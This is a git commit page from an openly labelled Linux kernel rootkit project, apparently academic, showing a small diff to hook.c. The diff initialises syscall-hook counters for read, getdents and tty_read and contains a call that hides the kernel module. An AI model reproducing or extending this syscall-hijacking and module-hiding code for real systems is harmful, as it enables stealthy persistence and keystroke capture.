linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit 95ab20f154fa60faae319ad7f33fd5ab1fadb86f
parent e3a5dafa61a7e78ef8a7a38b6e55cb6fb24c6c89
Author: deurzen <m.deurzen@tum.de>
Date:   Sat, 12 Dec 2020 21:20:32 +0100

fixes issues

Diffstat:
Msrc/hook.c | 4++++
1 file changed, 4 insertions(+), 0 deletions(-)

diff --git a/src/hook.c b/src/hook.c @@ -58,14 +58,18 @@ void init_hooks(void) { atomic_set(&read_install_count, 0); + atomic_set(&tty_read_install_count, 0); atomic_set(&getdents_install_count, 0); atomic_set(&read_count, 0); atomic_set(&tty_read_count, 0); + atomic_set(&getdents_count, 0); + atomic_set(&getdents64_count, 0); sys_read = (void *)sys_calls[__NR_read]; sys_getdents = (void *)sys_calls[__NR_getdents]; sys_getdents64 = (void *)sys_calls[__NR_getdents64]; + sys_tty_read = NULL; if (rootkit.hiding_module) hide_module();